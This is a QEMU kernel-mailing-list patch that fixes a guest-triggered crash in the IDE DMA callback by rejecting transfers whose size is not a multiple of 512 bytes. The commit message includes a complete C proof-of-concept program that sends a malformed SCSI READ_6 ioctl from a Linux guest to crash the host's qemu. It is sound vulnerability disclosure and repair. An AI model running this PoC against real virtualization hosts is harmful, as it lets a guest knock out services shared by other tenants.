[PATCH v2 1/1] ide: check DMA transfer size in ide_dma_cb() to prevent qemu DoS from quests

[Alexander Popov]

The commit a718978ed58a from July 2015 introduced the assertion which
implies that the size of successful DMA transfers handled in ide_dma_cb()
should be multiple of 512 (the size of a sector). But guest systems can
initiate DMA transfers that don't fit this requirement.

PoC for Linux that uses SCSI_IOCTL_SEND_COMMAND to perform such an ATA
command and crash qemu:

#include <stdio.h>
#include <sys/ioctl.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <scsi/scsi.h>
#include <scsi/scsi_ioctl.h>

#define CMD_SIZE 2048

struct scsi_ioctl_cmd_6 {
        unsigned int inlen;
        unsigned int outlen;
        unsigned char cmd[6];
        unsigned char data[];
};

int main(void)
{
        intptr_t fd = 0;
        struct scsi_ioctl_cmd_6 *cmd = NULL;

        cmd = malloc(CMD_SIZE);
        if (!cmd) {
                perror("[-] malloc");
                return 1;
        }

        memset(cmd, 0, CMD_SIZE);
        cmd->inlen = 1337;
        cmd->cmd[0] = READ_6;

        fd = open("/dev/sg0", O_RDONLY);
        if (fd == -1) {
                perror("[-] opening sg");
                return 1;
        }

        printf("[+] sg0 is opened\n");

        printf("[.] qemu should break here:\n");
        fflush(stdout);
        ioctl(fd, SCSI_IOCTL_SEND_COMMAND, cmd);
        printf("[-] qemu didn't break\n");

        free(cmd);

        return 1;
}

For fixing that let's check the number of bytes prepared for the transfer
by the prepare_buf() handler. If it is not a multiple of 512 then end
the DMA transfer with an error.

That also fixes the I/O stall in guests after a DMA transfer request
for less than the size of a sector.

Signed-off-by: Alexander Popov <alex.po...@linux.com>
---
 hw/ide/core.c | 11 +++++------
 1 file changed, 5 insertions(+), 6 deletions(-)

diff --git a/hw/ide/core.c b/hw/ide/core.c
index 754ff4dc34..85aac614f0 100644
--- a/hw/ide/core.c
+++ b/hw/ide/core.c
@@ -849,6 +849,7 @@ static void ide_dma_cb(void *opaque, int ret)
     int64_t sector_num;
     uint64_t offset;
     bool stay_active = false;
+    int32_t prepared = 0;
 
     if (ret == -EINVAL) {
         ide_dma_error(s);
@@ -892,12 +893,10 @@ static void ide_dma_cb(void *opaque, int ret)
     n = s->nsector;
     s->io_buffer_index = 0;
     s->io_buffer_size = n * 512;
-    if (s->bus->dma->ops->prepare_buf(s->bus->dma, s->io_buffer_size) < 512) {
-        /* The PRDs were too short. Reset the Active bit, but don't raise an
-         * interrupt. */
-        s->status = READY_STAT | SEEK_STAT;
-        dma_buf_commit(s, 0);
-        goto eot;
+    prepared = s->bus->dma->ops->prepare_buf(s->bus->dma, s->io_buffer_size);
+    if (prepared % 512) {
+        ide_dma_error(s);
+        return;
     }
 
     trace_ide_dma_cb(s, sector_num, n, IDE_DMA_CMD_str(s->dma_cmd));
-- 
2.21.0